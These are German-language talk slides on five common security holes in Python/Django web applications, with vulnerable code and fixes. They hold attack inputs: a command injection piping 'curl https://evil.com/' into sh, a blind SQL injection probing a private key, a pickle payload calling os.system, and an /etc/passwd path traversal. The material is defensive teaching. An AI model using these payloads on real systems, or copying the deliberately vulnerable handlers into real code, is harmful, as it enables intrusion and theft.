

# 5 Sicherheitslücken in Deiner Python-Anwendung

Philipp Hagemeister

[phihag@phihag.de](mailto:phihag@phihag.de)

# Ziele dieses Vortrags

- 5 typische Sicherheitslücken kennenlernen
- Wie funktioniert der Angriff?
- Wie erkenne ich verwundbaren Code?
- Wie schreibe ich sicheren Code?
- Achtung: Code in dieser Präsentation ist unsicher!

# Richtiger Code ist mit ✓ markiert -->



# Code-Beispiel

```
from django.http import HttpResponse
import os

def vulnerable_handler(request):
    cmd = 'echo {} | base64'.format(
        request.POST['message'])
    b64 = os.popen(cmd).read()

    return HttpResponse(
        '<html> base64 {}!</html>'.format(b64))
```

Welche Eingaben sind hier problematisch?

# Command Injection

```
cmd = 'echo {} | base64'.format(  
    request.POST['message'])  
b64 = os.popen(cmd).read()
```

Eingabe: **foo bar**

⚙️ Ausgeführt: **echo foo bar | base64**

Eingabe: **|curl https://evil.com/ | sh**

⚙️ **echo |curl https://evil.com/ | sh | base64**

# Verteidigung?

```
cmd = 'echo "{}" | base64'.format(  
    request.POST['message'])  
b64 = os.popen(cmd).read()
```

Eingabe: `|curl https://evil.com/|sh`  
⚙️ `echo "|curl https://evil.com/|sh" | base64`

**Genügt nicht!**

```
echo ""|curl https://evil.com/|sh|cat "-" | base64
```

**Achtung: Sonderzeichen (hier " und \$) müssen richtig  
enkodiert werden!**

# Command Injection vermeiden

- `shlex.quote` verwenden
- `pipes.quote` in Python 2

```
import shlex
cmd = 'echo {} | base64'.format(
    shlex.quote(request.POST['message']))
b64 = os.popen(cmd).read()
```



Eingabe: `a " b $ c ' d`


⚙️ `echo 'a " b $ c '""' d' | base64`

**Aber: Sehr einfach zu vergessen!**

# Command Injection ausschließen

- subprocess verwenden!

```
import subprocess
b64 = subprocess.check_output(
    ['base64'],
    input=request.POST['message'].encode('utf-8'))
```



- Strukturierte API
- Kommandos werden als Listen übergeben
- Ein- Ausgaben als (Byte-)Strings
- secure by default
- **Achtung vor shell=True!**

# Kommandozeile wenn möglich vermeiden!

```
import base64
b64 = base64.b64encode(
    request.POST['message'].encode('utf-8'))
```



- Bibliothek in purem Python
- Bindings für Bibliothek
- Aufruf von C-Bibliotheken mit ctypes



# Command Injection erkennen

Vorsicht bei Aufrufen von

- `os.popen`
- `os.system`
- `subprocess.*(..., shell=True)`
- `pty.spawn`

Tests schreiben mit

- Leerzeichen
- Newlines
- Anführungszeichen & backticks (`"`, `'`, ```)
- `$`, `(`

# Datenbankabfragen

```
from django.http import HttpResponse
import mysql

cursor = mysql.connector.connect(...).cursor()

def vulnerable_handler(request):
    cursor.execute(
        "SELECT txt FROM posts "
        "WHERE id='{ }' ".format(request.GET['id']))

    return HttpResponse(
        '<html>{}</html>'.format(next(cursor)[0]))
```

Welche Eingaben sind hier problematisch?

# SQL Injection

```
cursor.execute(  
    "SELECT txt FROM posts "  
    "WHERE id='{ }' ".format(request.GET['id']))
```

Eingabe: 42

⚙️ SELECT txt FROM posts WHERE id='42'

Herausfinden ob der geheime Schlüssel mit a beginnt:

⚙️ SELECT txt FROM posts WHERE id='42' AND  
(SELECT COUNT(\*) FROM secrets  
WHERE private\_key LIKE "a%") > 0 AND ''=''

# SQL Injection verhindern

## Prepared Statements verwenden!

```
cursor.execute(  
    "SELECT txt FROM posts WHERE id=%s",  
    (request.GET['id'],))
```



- Achtung: %s wird an den MySQL-Treiber übergeben
- **Nicht** mit dem %-Operator ersetzt!
- **Besser: Objektrelationalen Mapper (ORM) verwenden!**

# Deserialisierung mit pickle

```
from django.http import HttpResponse
import pickle

def vulnerable_handler(request):
    prefs_p = request.COOKIES.get('prefs')
    prefs = (
        pickle.loads(prefs_p)
        if prefs_p else {'lang': 'de'})

    return HttpResponse(
        '<html>language: {}!</html>'.format(
            prefs['lang']))
```

# pickle deserialization vulnerability

```
pickle.loads(prefs_p)
```

Problem: pickle kann beliebigen **Code** (de)serialisieren!

Eingabe `b"cos\nsystem\n(S'echo evil'\ntR."`  
⚙️: `os.system('echo evil')`

# pickle vermeiden

- pickle nur in Ausnahmefällen verwenden!
- nämlich dann wenn den Daten zu 100% getraut werden kann (z.B. Anwendungscache im Dateisystem)
- Datenaustausch besser mit json
- Aber auch da aufpassen auf type confusion:  
Funktioniert der Code auch noch wenn prefs statt  
`{ 'lang' : 'de' }` plötzlich `{ 'lang' : [ 'd', 'e' ] }` ist?
- Im Zweifelsfall Typen checken!

# Code-Beispiel

```
from django.http import HttpResponse
import io

def vulnerable_handler(request):
    fn = '/var/myapp/data/' + request.GET['id']

    with io.open(fn, encoding='utf-8') as f:
        stored = f.read()

    return HttpResponse(
        '<html>stored: {}</html>'.format(stored))
```

Welche Eingaben sind hier problematisch?



# Path Traversal

```
fn = '/var/myapp/data/' + request.GET['id']
```

Eingabe: `../../../../etc/passwd`

⚙️ `fn = '/var/myapp/data/' + ' ../../../../etc/passwd'`

⇔ `fn = '/etc/passwd'`

`os.path.join` oder `pathlib` hilft nicht, sondern ermöglicht sogar noch mehr!

```
>>> import os.path
```


```
>>> os.path.join('/var/myapp/data', '/etc/passwd')  
'/etc/passwd'
```

# Path Traversal vermeiden: Ohne Pfad

Wenn nur ein Dateiname und kein Pfad erwartet wird:

**`os.path.basename!`**


```
fn = os.path.join(  
    '/var/myapp/data/',  
    os.path.basename(request.GET['id']))
```



# Path Traversal vermeiden: Mit Pfad

- Leider bisher noch keine gute Lösung!
- Entweder: Pfad selber parsen (kompliziert & fehleranfällig, insbesondere auf Windows)
- Oder: mit `os.path.abspath` überprüfen

```
fn = os.path.abspath(os.path.join(
    '/var/myapp/data/', request.GET['id']))
if not fn.startswith('/var/myapp/data/'):
    raise Exception('Path traversal attempt')
```



- Weitere Probleme: Magische Dateinamen CON, COM1, NUL etc. unter Windows

# Path Traversal erkennen & ausschließen

- Betroffen sind: Alle Dateisystemfunktionen!
- u.a. `open`, `io.open`, `os.listdir`
- Augenmerk auf Containerformate richten
  - `zipfile` ist ok
  - `tarfile` katastrophal unsicher
- Wenn möglich:
  1. Datenbank statt Dateisystem verwenden
  2. Dateipfad selber wählen (Datum, Hash o.ä.)
  3. Nur basename übernehmen
  4. Wenn's gar nicht anders geht: Sorgfältig überprüfen, besonders auf Windows!

# Was ist hier falsch?

```
from setuptools import setup

setup(name='vulnerable-project',
      version='0.1',
      description='A vulnerable project',
      author='Ingo Insecure',
      install_requires=[
          'Django', 'urllib3', 'raven',
      ])
```

# Malicious PyPi packages

```
from setuptools import setup

setup(name='vulnerable-project',
      version='0.1',
      description='A vulnerable project',
      author='Ingo Insecure',
      install_requires=[
          'Django', 'urllib3', 'raven',
      ])
```

- Dieses Paket enthält urllib3
- ... und noch Extra-Code!

# Sicherheit von Paketabhängigkeiten

- Achtung bei der Aufnahme von Dependencies:  
Paketname am besten Kopieren und Einfügen
- Allgemein: Jede Dependency kann Sicherheitslücken mitbringen:
  - Sicherheitslücken in dem Code
  - Backdoors (z.B. weil persönlicher Laptop des Entwicklers gehackt)
  - Sicherheitslücken in den dependencies der dependency

# Sichere Dependencies

- Codequalität verlangen
- Code lesen!
- CVEs lesen!
- Versionen pinnen!
- Hashsummen der Pakete pinnen!

```
Django==2.0.1 \
  --hash=sha256:af18618ce3291be50928...
```



Vortragsfolien online: <https://phi.hag.de/2018/pyddf-5vulns/>  
(auf <https://phi.hag.de/> verlinkt)

# Fragen?

Gerne auch per Mail an [phi.hag@phi.hag.de](mailto:phi.hag@phi.hag.de)

Interesse an einem Follow-Up (z.B. Web-Sicherheit)?